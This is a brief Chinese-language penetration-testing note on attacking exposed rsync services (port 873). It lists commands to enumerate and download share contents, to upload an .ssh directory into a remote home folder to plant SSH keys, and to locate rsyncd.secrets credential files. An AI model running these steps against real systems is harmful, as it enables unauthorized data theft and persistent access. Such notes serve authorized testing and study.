rsync

默认端口873

1. 利用

rsync -av --list-only rsync://192.168.0.123/shared_name  #列目录
rsync -avP rsync://192.168.0.123:8730/shared_name ./rsyn_shared #copy文件

#使用凭据
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -avP rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

#上传文件
rsync -avP home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

#寻找rsync配置文件
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)